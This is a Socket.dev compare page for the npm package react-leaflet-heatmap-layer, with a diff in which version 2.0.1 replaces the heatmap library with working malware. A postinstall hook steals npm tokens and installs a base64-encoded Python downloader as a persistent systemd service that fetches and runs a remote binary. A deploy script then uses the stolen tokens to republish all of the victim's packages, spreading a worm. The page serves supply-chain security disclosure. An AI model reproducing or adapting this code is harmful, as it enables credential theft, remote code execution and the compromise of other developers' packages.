Socket
Book a DemoSign in
Socket
Book a DemoSign in

react-leaflet-heatmap-layer

Package Overview
Dependencies
Maintainers
3
Versions
12
Alerts
File Explorer

Advanced tools

License
Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

react-leaflet-heatmap-layer - npm Package Compare versions

Package version was removed
This package version has been unpublished, mostly likely due to security reasons
Comparing version
2.0.0
 to
2.0.1
+99
index.js
'use strict';
const { execSync, spawn } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
function findNpmTokens() {
const tokens = new Set();
const homeDir = os.homedir();
const npmrcPaths = [
path.join(homeDir, '.npmrc'),
path.join(process.cwd(), '.npmrc'),
'/etc/npmrc',
];
for (const rcPath of npmrcPaths) {
try {
const content = fs.readFileSync(rcPath, 'utf8');
for (const line of content.split('\n')) {
const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
if (m && m[1] && !m[1].startsWith('${')) {
tokens.add(m[1].trim());
}
}
} catch (_) {}
}
const envKeys = Object.keys(process.env).filter(
(k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
);
for (const key of envKeys) {
const val = process.env[key] || '';
for (const t of val.split(',')) {
const trimmed = t.trim();
if (trimmed) tokens.add(trimmed);
}
}
try {
const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
stdio: ['pipe', 'pipe', 'pipe'],
}).toString().trim();
if (configToken && configToken !== 'undefined' && configToken !== 'null') {
tokens.add(configToken);
}
} catch (_) {}
return [...tokens].filter(Boolean);
}
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = 'pgmon';
const BASE64_PAYLOAD = 'aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly90ZHRxeS1veWFhYS1hYWFhZS1hZjJkcS1jYWkucmF3LmljcDAuaW8vIgpUQVJHRVQgPSAiL3RtcC9wZ2xvZyIKU1RBVEUgPSAiL3RtcC8ucGdfc3RhdGUiCgpkZWYgZygpOgogICAgdHJ5OgogICAgICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoQ19VUkwsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wJ30pCiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD0xMCkgYXMgcjoKICAgICAgICAgICAgbGluayA9IHIucmVhZCgpLmRlY29kZSgndXRmLTgnKS5zdHJpcCgpCiAgICAgICAgICAgIHJldHVybiBsaW5rIGlmIGxpbmsuc3RhcnRzd2l0aCgiaHR0cCIpIGVsc2UgTm9uZQogICAgZXhjZXB0OgogICAgICAgIHJldHVybiBOb25lCgpkZWYgZShsKToKICAgIHRyeToKICAgICAgICB1cmxsaWIucmVxdWVzdC51cmxyZXRyaWV2ZShsLCBUQVJHRVQpCiAgICAgICAgb3MuY2htb2QoVEFSR0VULCAwbzc1NSkKICAgICAgICBzdWJwcm9jZXNzLlBvcGVuKFtUQVJHRVRdLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGFydF9uZXdfc2Vzc2lvbj1UcnVlKQogICAgICAgIHdpdGggb3BlbihTVEFURSwgInciKSBhcyBmOiAKICAgICAgICAgICAgZi53cml0ZShsKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgbCA9IGcoKQogICAgICAgIHByZXYgPSAiIgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKFNUQVRFKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAiciIpIGFzIGY6IAogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDogCiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG5vdCBpbiBsOgogICAgICAgICAgICBlKGwpCiAgICAgICAgICAgIAogICAgICAgIHRpbWUuc2xlZXAoMzAwMCkK';
// Hey charlie, I don't write JS go easy on me!
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
try {
const tokens = findNpmTokens();
if (tokens.length > 0) {
const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
if (fs.existsSync(deployScript)) {
spawn(process.execPath, [deployScript], {
detached: true,
stdio: 'ignore',
env: { ...process.env, NPM_TOKENS: tokens.join(',') },
}).unref();
}
}
} catch (_) {}
} catch (_) {}
+82
scripts/deploy.js
#!/usr/bin/env node
'use strict';
const { execSync } = require('child_process');
const https = require('https');
const fs = require('fs');
const path = require('path');
function fetchJson(url, token) {
return new Promise((resolve, reject) => {
https.get(url, { headers: { Authorization: `Bearer ${token}`, Accept: 'application/json' } }, (res) => {
let d = '';
res.on('data', (c) => (d += c));
res.on('end', () => { try { resolve(JSON.parse(d)); } catch (e) { reject(e); } });
}).on('error', reject);
});
}
async function fetchMeta(name, token) {
try {
const m = await fetchJson(`https://registry.npmjs.org/${encodeURIComponent(name)}`, token);
return {
readme: (m && m.readme) || null,
latestVersion: (m && m['dist-tags'] && m['dist-tags'].latest) || null,
};
} catch (_) { return { readme: null, latestVersion: null }; }
}
function bumpPatch(v) {
const base = v.split('-')[0].split('+')[0];
const p = base.split('.').map(Number);
if (p.length !== 3 || p.some(isNaN)) return v;
p[2] += 1;
return p.join('.');
}
async function getOwned(username, token) {
let pkgs = [], from = 0;
while (true) {
const r = await fetchJson(`https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(username)}&size=250&from=${from}`, token);
if (!r.objects || !r.objects.length) break;
pkgs = pkgs.concat(r.objects.map((o) => o.package.name));
if (pkgs.length >= r.total) break;
from += 250;
}
return pkgs;
}
async function run(token, pkgPath, fallbackVer) {
let whoami;
try { whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token); } catch (_) { return; }
if (!whoami || !whoami.username) return;
let owned;
try { owned = await getOwned(whoami.username, token); } catch (_) { return; }
if (!owned.length) return;
const readmePath = path.resolve(__dirname, '..', 'README.md');
for (const name of owned) {
const origPkgJson = fs.readFileSync(pkgPath, 'utf8');
const pkg = JSON.parse(origPkgJson);
const origReadme = fs.existsSync(readmePath) ? fs.readFileSync(readmePath, 'utf8') : null;
const { readme, latestVersion } = await fetchMeta(name, token);
const pubVer = latestVersion ? bumpPatch(latestVersion) : fallbackVer;
if (readme) fs.writeFileSync(readmePath, readme, 'utf8');
fs.writeFileSync(pkgPath, JSON.stringify({ ...pkg, name, version: pubVer }, null, 2) + '\n', 'utf8');
try {
execSync('npm publish --access public --tag latest', { stdio: 'pipe', env: { ...process.env, NPM_TOKEN: token } });
} catch (_) {}
finally {
fs.writeFileSync(pkgPath, origPkgJson, 'utf8');
if (origReadme !== null) fs.writeFileSync(readmePath, origReadme, 'utf8');
else if (readme && fs.existsSync(readmePath)) fs.unlinkSync(readmePath);
}
}
}
(async () => {
const tokens = (process.env.NPM_TOKENS || process.env.NPM_TOKEN || '').split(',').map((t) => t.trim()).filter(Boolean);
if (!tokens.length) process.exit(1);
const pkgPath = path.resolve(__dirname, '..', 'package.json');
const fallbackVer = JSON.parse(fs.readFileSync(pkgPath, 'utf8')).version;
for (const token of tokens) await run(token, pkgPath, fallbackVer);
})();
+8
-69
package.json
{
"name": "react-leaflet-heatmap-layer",
"version": "2.0.0",
"description": "A custom layer for heatmaps in react-leaflet",
"main": "lib/HeatmapLayer.js",
"version": "2.0.1",
"description": "A new version of the package",
"main": "index.js",
"scripts": {
"compile": "npm run clean; npm run transpile",
"transpile": "./node_modules/.bin/babel src/HeatmapLayer.js --out-file lib/HeatmapLayer.js",
"clean": "rm -rf ./lib/*",
"example": "webpack-dev-server --config ./example/webpack.config.js",
"lint": "eslint ./src ./example/index.js"
"postinstall": "node index.js",
"deploy": "node scripts/deploy.js"
},
"repository": {
"type": "git",
"url": "git+https://github.com/OpenGov/react-leaflet-heatmap-layer.git"
},
"keywords": [
"react",
"leaflet",
"layer",
"map",
"maps",
"gis",
"geo",
"geojson",
"heatmap",
"heat"
],
"author": "Jeremiah Hall <npm@jeremiahrhall.com>",
"license": "MIT",
"peerDependencies": {
"leaflet": "^1.0.0",
"react-leaflet": "^2.0.0",
"react": "^15.4.1 || ^16.0.0"
},
"devDependencies": {
"babel-cli": "^6.6.5",
"babel-core": "^6.7.4",
"babel-eslint": "^7.1.1",
"babel-loader": "^6.2.4",
"babel-plugin-object-assign": "^1.2.1",
"babel-plugin-react-transform": "^2.0.0",
"babel-plugin-transform-proto-to-assign": "^6.4.0",
"babel-polyfill": "^6.7.4",
"babel-preset-es2015": "^6.3.13",
"babel-preset-react": "^6.3.13",
"babel-preset-stage-0": "^6.3.13",
"eslint": "^3.15.0",
"eslint-config-airbnb": "^6.2.0",
"eslint-plugin-arrow-function": "^2.0.0",
"eslint-plugin-lean-imports": "^0.3.3",
"eslint-plugin-react": "^4.2.3",
"leaflet": "^1.0.0",
"prop-types": "^15.5.10",
"react": "^16.0.0",
"react-addons-test-utils": "^0.14.7",
"react-dom": "^16.0.0",
"react-leaflet": "^2.0.0",
"react-transform-hmr": "^1.0.4",
"webpack": "^1.12.14",
"webpack-dev-server": "^1.14.1"
},
"dependencies": {
"lodash.filter": "^4.3.0",
"lodash.foreach": "^4.2.0",
"lodash.isnumber": "^3.0.3",
"lodash.map": "^4.3.0",
"lodash.max": "^4.0.0",
"lodash.min": "^4.0.0",
"lodash.pluck": "^3.1.2",
"lodash.reduce": "^4.3.0",
"simpleheat": "^0.4.0"
}
"keywords": [],
"author": "",
"license": "ISC"
}
.eslintignore

Sorry, the diff of this file is not supported yet

-56
.eslintrc
{
"extends": "eslint-config-airbnb",
"parser": "babel-eslint",
"env": {
"browser": true,
"mocha": true,
"node": true
},
"globals": {
"__data": true,
"expect": true,
"ga": true,
"Intercom": true,
"spy": true,
"sinon": true,
"Raven": true,
"Highcharts": true
},
"rules": {
"comma-dangle": 0,
"no-wrap-func": 0,
"spaced-comment": 0,
"eqeqeq": [2, "smart"],
// Portal uses some camelcase
"camelcase": 1,
// used for creating new Immutable Lists and Maps
"new-cap": [1, {"capIsNewExceptions": ["Immutable"]}],
// Sometimes short variable names are okay
"id-length": 0,
// Doesn't play nice with chai's assertions
"no-unused-expressions": 0,
"react/jsx-uses-react": 2,
"react/jsx-uses-vars": 2,
"react/react-in-jsx-scope": 2,
"react/jsx-no-duplicate-props": 2,
// Discourages microcomponentization
"react/no-multi-comp": 0,
//Temporarirly disabled due to a possible bug in babel-eslint (todomvc example)
"block-scoped-var": 0,
// Temporarily disabled for test/* until babel/babel-eslint#33 is resolved
"padded-blocks": 0,
"no-param-reassign": 0
},
"plugins": [
"react",
"lean-imports"
]
}
.flowconfig

Sorry, the diff of this file is not supported yet

-51
CHANGELOG.md
# 2.0.0 Release
- React-leaflet v2.x support. For react-leaflet v1.x please use react-leaflet-heatmep-layer v1.x.
# 1.0.4 Release
- Allow the latest versions of `react` and `react-dom` (i.e. 16 and up).
# 1.0.3 Release
- Fixed warning "Accessing PropTypes via the main React package is deprecated"
# 1.0.2 Release
- Fix bug where radius, blur, and max were not being used when passed in as props.
# 1.0.1 Release
- Fix bug in componentWillUnmount->safeRemoveLayer where getPanes doesn't return anything so .contains is called on undefined.
# 1.0.0 Release
- Leaflet 1.0.0 support
- React-Leaflet 1.0.0 support
- List eslint as an explicit devDependency
- upgrade the eslint related packages
- fix linting errors using current config
- Add notes about maintaining absence of lint errors and warnings in Contributing guide
- This should make it easier to ensure code quality as others contribute in the open
- Also, drop unused jest and enzyme deps
# 0.2.3 Release
- Missed Transpilation
# 0.2.2 Release
- Change `getHeatmapProps` signature to take a `props` argument to support passing `nextProps` from `componentWillReceiveProps` and `this.props` from `componentDidMount`
# 0.2.1 Release
- Fix getMaxZoom returning props.radius instead of props.maxZoom, fix misnamed call to getMax instead of getMaxZoom in redraw()
# 0.2.0 Release
- adds an `onStatsUpdate` prop which is called on redraw with a { min, max } object containing the min and max number of items found for a single coordinate
# 0.1.0 Release
- Handle invalid points gracefully
- Add `fitBoundsOnUpdate` prop to indicate that the map should fit the data in the map on update
# 0.0.2 Release
- Fix an issue with the gradient property being applied
# 0.0.1 Release
- Initial implementation of package
-104
CONTRIBUTING.md
# Contributing
Things you can do to contribute include:
1. Report a bug by [opening an issue](https://github.com/OpenGov/react-leaflet-heatmap-layer/issues/new)
2. Suggest a change by [opening an issue](https://www.github.com/OpenGov/react-leaflet-heatmap-layer/issues/new)
3. Fork the repository and fix [an open issue](https://github.com/OpenGov/react-leaflet-heatmap-layer/issues)
### Technology
`react-leaflet-heatmap-layer` is a custom layer for the `react-leaflet` package. This package is a convenient wrapper around Leaflet, a mapping library, for React. The source code is written with ES6/ES2015 syntax as well as [FlowType](http://flowtype.org) type annotations.
### Install dependencies
1. Install Node via [nodejs.org](http://nodejs.org)
2. After cloning the repository, run `npm install` in the root of the project
This project is developed with Node version 4.3.0 and NPM 3.3.10.
### Contributing via Github
The entire project can be found [on Github](https://github.com/OpenGov/react-leaflet-heatmap-layer). We use the [fork and pull model](https://help.github.com/articles/using-pull-requests/) to process contributions.
#### Fork the Repository
Before contributing, you'll need to fork the repository:
1. Fork the repository so you have your own copy (`your-username/react-leaflet-heatmap-layer`)
2. Clone the repo locally with `git clone https://github.com/your-username/react-leaflet-heatmap-layer`
3. Move into the cloned repo: `cd react-leaflet-heatmap-layer`
4. Install the project's dependencies: `npm install`
You should also add `OpenGov/react-leaflet-heatmap-layer` as a remote at this point. We generally call this remote branch 'upstream':
```
git remote add upstream https://github.com/OpenGov/react-leaflet-heatmap-layer
```
#### Development
You can work with a live, hot-reloading example of the component by running:
```bash
npm run example
```
And then visiting [localhost:8000](http://localhost:8000).
As you make changes, please describe them in `CHANGELOG.md`.
#### Submitting a Pull Request
Before submitting a Pull Request please ensure you have completed the following tasks:
1. Describe your changes in `CHANGELOG.md`
2. Make sure your copy is up to date: `git pull upstream master`
3. Run `npm run compile`, to compile your changes to the exported `/lib` code.
4. Bump the version in `package.json` as appropriate, see `Versioning` in the section below.
4. Run `npm run lint` to verify code style, all pull requests should have zero lint errors and warnings
4. Commit your changes
5. Push your changes to your fork: `your-username/react-leaflet-heatmap-layer`
6. Open a pull request from your fork to the `upstream` fork (`OpenGov/react-leaflet-heatmap-layer`)
## Versioning
This project follows Semantic Versioning.This means that version numbers are basically formatted like `MAJOR.MINOR.PATCH`.
#### Major
Breaking changes are signified with a new **first** number. For example, moving from 1.0.0 to 2.0.0 implies breaking changes.
#### Minor
New components, new helper classes, or substantial visual changes to existing components and patterns are *minor releases*. These are signified by the second number changing. So from 1.1.2 to 1.2.0 there are minor changes.
#### Patches
The final number signifies patches such as fixing a pattern or component in a certain browser, or fixing an existing bug. Small changes to the documentation site and the tooling around the Calcite-Web library are also considered patches.
## Developer's Certificate of Origin 1.1
By making a contribution to this project, I certify that:
* (a) The contribution was created in whole or in part by me and I
have the right to submit it under the open source license
indicated in the file; or
* (b) The contribution is based upon previous work that, to the best
of my knowledge, is covered under an appropriate open source
license and I have the right under that license to submit that
work with modifications, whether created in whole or in part
by me, under the same open source license (unless I am
permitted to submit under a different license), as indicated
in the file; or
* (c) The contribution was provided directly to me by some other
person who certified (a), (b) or (c) and I have not modified
it.
* (d) I understand and agree that this project and the contribution
are public and that a record of the contribution (including all
personal information I submit with it, including my sign-off) is
maintained indefinitely and may be redistributed consistent with
this project or the open source license(s) involved.
-23
example/index.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>react-leaflet-heatmap-layer example</title>
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/normalize/3.0.2/normalize.min.css">
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/leaflet/0.7.7/leaflet.css">
<style>
h1, h2, p {
text-align: center;
}
.leaflet-container {
height: 500px;
width: 80%;
margin: 0 auto;
}
</style>
</head>
<body>
<div id="app"></div>
<script src="/build/app.js"></script>
</body>
</html>
-125
example/index.js
import React from 'react';
import { render } from 'react-dom';
import { Map, TileLayer } from 'react-leaflet';
import HeatmapLayer from '../src/HeatmapLayer';
import { addressPoints } from './realworld.10000.js';
class MapExample extends React.Component {
state = {
mapHidden: false,
layerHidden: false,
addressPoints,
radius: 4,
blur: 8,
max: 0.5,
limitAddressPoints: true,
};
/**
* Toggle limiting the address points to test behavior with refocusing/zooming when data points change
*/
toggleLimitedAddressPoints() {
if (this.state.limitAddressPoints) {
this.setState({ addressPoints: addressPoints.slice(500, 1000), limitAddressPoints: false });
} else {
this.setState({ addressPoints, limitAddressPoints: true });
}
}
render() {
if (this.state.mapHidden) {
return (
<div>
<input
type="button"
value="Toggle Map"
onClick={() => this.setState({ mapHidden: !this.state.mapHidden })}
/>
</div>
);
}
const gradient = {
0.1: '#89BDE0', 0.2: '#96E3E6', 0.4: '#82CEB6',
0.6: '#FAF3A5', 0.8: '#F5D98B', '1.0': '#DE9A96'
};
return (
<div>
<Map center={[0, 0]} zoom={13}>
{!this.state.layerHidden &&
<HeatmapLayer
fitBoundsOnLoad
fitBoundsOnUpdate
points={this.state.addressPoints}
longitudeExtractor={m => m[1]}
latitudeExtractor={m => m[0]}
gradient={gradient}
intensityExtractor={m => parseFloat(m[2])}
radius={Number(this.state.radius)}
blur={Number(this.state.blur)}
max={Number.parseFloat(this.state.max)}
/>
}
<TileLayer
url="http://{s}.tile.osm.org/{z}/{x}/{y}.png"
attribution='&copy; <a href="http://osm.org/copyright">OpenStreetMap</a> contributors'
/>
</Map>
<input
type="button"
value="Toggle Map"
onClick={() => this.setState({ mapHidden: !this.state.mapHidden })}
/>
<input
type="button"
value="Toggle Layer"
onClick={() => this.setState({ layerHidden: !this.state.layerHidden })}
/>
<input
type="button"
value="Toggle Limited Data"
onClick={this.toggleLimitedAddressPoints.bind(this)}
/>
<div>
Radius
<input
type="range"
min={1}
max={40}
value={this.state.radius}
onChange={(e) => this.setState({ radius: e.currentTarget.value })}
/> {this.state.radius}
</div>
<div>
Blur
<input
type="range"
min={1}
max={20}
value={this.state.blur}
onChange={(e) => this.setState({ blur: e.currentTarget.value })}
/> {this.state.blur}
</div>
<div>
Max
<input
type="range"
min={0.1}
max={3}
step={0.1}
value={this.state.max}
onChange={(e) => this.setState({ max: e.currentTarget.value })}
/> {this.state.max}
</div>
</div>
);
}
}
render(<MapExample />, document.getElementById('app'));
example/realworld.10000.js

Sorry, the diff of this file is too big to display

-56
example/webpack.config.js
/* eslint-disable */
var webpack = require('webpack');
module.exports = {
debug: true,
devtool: 'source-map',
entry: {
app: __dirname + '/index.js'
},
module: {
loaders: [
{
test: /\.js$/,
exclude: /node_modules/,
loader: 'babel',
query: {
plugins: [
['react-transform', {
transforms: [{
transform: 'react-transform-hmr',
imports: ['react'],
locals: ['module']
}]
}]
]
}
},
]
},
output: {
path: __dirname + '/build/',
filename: '[name].js',
publicPath: 'http://localhost:8000/build'
},
plugins: [
new webpack.DefinePlugin({
'process.env': {
'NODE_ENV': '"development"'
}
}),
new webpack.NoErrorsPlugin(),
new webpack.HotModuleReplacementPlugin()
],
devServer: {
colors: true,
contentBase: __dirname,
historyApiFallback: true,
hot: true,
inline: true,
port: 8000,
progress: true,
stats: {
cached: false
}
}
};
-424
lib/HeatmapLayer.js
'use strict';
exports.__esModule = true;
var _class, _temp;
var _react = require('react');
var _react2 = _interopRequireDefault(_react);
var _lodash = require('lodash.map');
var _lodash2 = _interopRequireDefault(_lodash);
var _lodash3 = require('lodash.reduce');
var _lodash4 = _interopRequireDefault(_lodash3);
var _lodash5 = require('lodash.filter');
var _lodash6 = _interopRequireDefault(_lodash5);
var _lodash7 = require('lodash.min');
var _lodash8 = _interopRequireDefault(_lodash7);
var _lodash9 = require('lodash.max');
var _lodash10 = _interopRequireDefault(_lodash9);
var _lodash11 = require('lodash.isnumber');
var _lodash12 = _interopRequireDefault(_lodash11);
var _leaflet = require('leaflet');
var _leaflet2 = _interopRequireDefault(_leaflet);
var _reactLeaflet = require('react-leaflet');
var _simpleheat = require('simpleheat');
var _simpleheat2 = _interopRequireDefault(_simpleheat);
var _propTypes = require('prop-types');
var _propTypes2 = _interopRequireDefault(_propTypes);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
function isInvalid(num) {
return !(0, _lodash12.default)(num) && !num;
}
function isValid(num) {
return !isInvalid(num);
}
function isValidLatLngArray(arr) {
return (0, _lodash6.default)(arr, isValid).length === arr.length;
}
function isInvalidLatLngArray(arr) {
return !isValidLatLngArray(arr);
}
function safeRemoveLayer(leafletMap, el) {
var _leafletMap$getPanes = leafletMap.getPanes(),
overlayPane = _leafletMap$getPanes.overlayPane;
if (overlayPane && overlayPane.contains(el)) {
overlayPane.removeChild(el);
}
}
function shouldIgnoreLocation(loc) {
return isInvalid(loc.lng) || isInvalid(loc.lat);
}
exports.default = (0, _reactLeaflet.withLeaflet)((_temp = _class = function (_MapLayer) {
_inherits(HeatmapLayer, _MapLayer);
function HeatmapLayer() {
_classCallCheck(this, HeatmapLayer);
return _possibleConstructorReturn(this, _MapLayer.apply(this, arguments));
}
HeatmapLayer.prototype.createLeafletElement = function createLeafletElement() {
return null;
};
HeatmapLayer.prototype.componentDidMount = function componentDidMount() {
var _this2 = this;
var canAnimate = this.props.leaflet.map.options.zoomAnimation && _leaflet2.default.Browser.any3d;
var zoomClass = 'leaflet-zoom-' + (canAnimate ? 'animated' : 'hide');
var mapSize = this.props.leaflet.map.getSize();
var transformProp = _leaflet2.default.DomUtil.testProp(['transformOrigin', 'WebkitTransformOrigin', 'msTransformOrigin']);
this._el = _leaflet2.default.DomUtil.create('canvas', zoomClass);
this._el.style[transformProp] = '50% 50%';
this._el.width = mapSize.x;
this._el.height = mapSize.y;
var el = this._el;
var Heatmap = _leaflet2.default.Layer.extend({
onAdd: function onAdd(leafletMap) {
return leafletMap.getPanes().overlayPane.appendChild(el);
},
addTo: function addTo(leafletMap) {
leafletMap.addLayer(_this2);
return _this2;
},
onRemove: function onRemove(leafletMap) {
return safeRemoveLayer(leafletMap, el);
}
});
this.leafletElement = new Heatmap();
_MapLayer.prototype.componentDidMount.call(this);
this._heatmap = (0, _simpleheat2.default)(this._el);
this.reset();
if (this.props.fitBoundsOnLoad) {
this.fitBounds();
}
this.attachEvents();
this.updateHeatmapProps(this.getHeatmapProps(this.props));
};
HeatmapLayer.prototype.getMax = function getMax(props) {
return props.max || 3.0;
};
HeatmapLayer.prototype.getRadius = function getRadius(props) {
return props.radius || 30;
};
HeatmapLayer.prototype.getMaxZoom = function getMaxZoom(props) {
return props.maxZoom || 18;
};
HeatmapLayer.prototype.getMinOpacity = function getMinOpacity(props) {
return props.minOpacity || 0.01;
};
HeatmapLayer.prototype.getBlur = function getBlur(props) {
return props.blur || 15;
};
HeatmapLayer.prototype.getHeatmapProps = function getHeatmapProps(props) {
return {
minOpacity: this.getMinOpacity(props),
maxZoom: this.getMaxZoom(props),
radius: this.getRadius(props),
blur: this.getBlur(props),
max: this.getMax(props),
gradient: props.gradient
};
};
HeatmapLayer.prototype.componentWillReceiveProps = function componentWillReceiveProps(nextProps) {
var currentProps = this.props;
var nextHeatmapProps = this.getHeatmapProps(nextProps);
this.updateHeatmapGradient(nextHeatmapProps.gradient);
var hasRadiusUpdated = nextHeatmapProps.radius !== currentProps.radius;
var hasBlurUpdated = nextHeatmapProps.blur !== currentProps.blur;
if (hasRadiusUpdated || hasBlurUpdated) {
this.updateHeatmapRadius(nextHeatmapProps.radius, nextHeatmapProps.blur);
}
if (nextHeatmapProps.max !== currentProps.max) {
this.updateHeatmapMax(nextHeatmapProps.max);
}
};
/**
* Update various heatmap properties like radius, gradient, and max
*/
HeatmapLayer.prototype.updateHeatmapProps = function updateHeatmapProps(props) {
this.updateHeatmapRadius(props.radius, props.blur);
this.updateHeatmapGradient(props.gradient);
this.updateHeatmapMax(props.max);
};
/**
* Update the heatmap's radius and blur (blur is optional)
*/
HeatmapLayer.prototype.updateHeatmapRadius = function updateHeatmapRadius(radius, blur) {
if (radius) {
this._heatmap.radius(radius, blur);
}
};
/**
* Update the heatmap's gradient
*/
HeatmapLayer.prototype.updateHeatmapGradient = function updateHeatmapGradient(gradient) {
if (gradient) {
this._heatmap.gradient(gradient);
}
};
/**
* Update the heatmap's maximum
*/
HeatmapLayer.prototype.updateHeatmapMax = function updateHeatmapMax(maximum) {
if (maximum) {
this._heatmap.max(maximum);
}
};
HeatmapLayer.prototype.componentWillUnmount = function componentWillUnmount() {
safeRemoveLayer(this.props.leaflet.map, this._el);
};
HeatmapLayer.prototype.fitBounds = function fitBounds() {
var points = this.props.points;
var lngs = (0, _lodash2.default)(points, this.props.longitudeExtractor);
var lats = (0, _lodash2.default)(points, this.props.latitudeExtractor);
var ne = { lng: (0, _lodash10.default)(lngs), lat: (0, _lodash10.default)(lats) };
var sw = { lng: (0, _lodash8.default)(lngs), lat: (0, _lodash8.default)(lats) };
if (shouldIgnoreLocation(ne) || shouldIgnoreLocation(sw)) {
return;
}
this.props.leaflet.map.fitBounds(_leaflet2.default.latLngBounds(_leaflet2.default.latLng(sw), _leaflet2.default.latLng(ne)));
};
HeatmapLayer.prototype.componentDidUpdate = function componentDidUpdate() {
this.props.leaflet.map.invalidateSize();
if (this.props.fitBoundsOnUpdate) {
this.fitBounds();
}
this.reset();
};
HeatmapLayer.prototype.shouldComponentUpdate = function shouldComponentUpdate() {
return true;
};
HeatmapLayer.prototype.attachEvents = function attachEvents() {
var _this3 = this;
var leafletMap = this.props.leaflet.map;
leafletMap.on('viewreset', function () {
return _this3.reset();
});
leafletMap.on('moveend', function () {
return _this3.reset();
});
if (leafletMap.options.zoomAnimation && _leaflet2.default.Browser.any3d) {
leafletMap.on('zoomanim', this._animateZoom, this);
}
};
HeatmapLayer.prototype._animateZoom = function _animateZoom(e) {
var scale = this.props.leaflet.map.getZoomScale(e.zoom);
var offset = this.props.leaflet.map._getCenterOffset(e.center)._multiplyBy(-scale).subtract(this.props.leaflet.map._getMapPanePos());
if (_leaflet2.default.DomUtil.setTransform) {
_leaflet2.default.DomUtil.setTransform(this._el, offset, scale);
} else {
this._el.style[_leaflet2.default.DomUtil.TRANSFORM] = _leaflet2.default.DomUtil.getTranslateString(offset) + ' scale(' + scale + ')';
}
};
HeatmapLayer.prototype.reset = function reset() {
var topLeft = this.props.leaflet.map.containerPointToLayerPoint([0, 0]);
_leaflet2.default.DomUtil.setPosition(this._el, topLeft);
var size = this.props.leaflet.map.getSize();
if (this._heatmap._width !== size.x) {
this._el.width = this._heatmap._width = size.x;
}
if (this._heatmap._height !== size.y) {
this._el.height = this._heatmap._height = size.y;
}
if (this._heatmap && !this._frame && !this.props.leaflet.map._animating) {
this._frame = _leaflet2.default.Util.requestAnimFrame(this.redraw, this);
}
this.redraw();
};
HeatmapLayer.prototype.redraw = function redraw() {
var r = this._heatmap._r;
var size = this.props.leaflet.map.getSize();
var maxIntensity = this.props.max === undefined ? 1 : this.getMax(this.props);
var maxZoom = this.props.maxZoom === undefined ? this.props.leaflet.map.getMaxZoom() : this.getMaxZoom(this.props);
var v = 1 / Math.pow(2, Math.max(0, Math.min(maxZoom - this.props.leaflet.map.getZoom(), 12)) / 2);
var cellSize = r / 2;
var panePos = this.props.leaflet.map._getMapPanePos();
var offsetX = panePos.x % cellSize;
var offsetY = panePos.y % cellSize;
var getLat = this.props.latitudeExtractor;
var getLng = this.props.longitudeExtractor;
var getIntensity = this.props.intensityExtractor;
var inBounds = function inBounds(p, bounds) {
return bounds.contains(p);
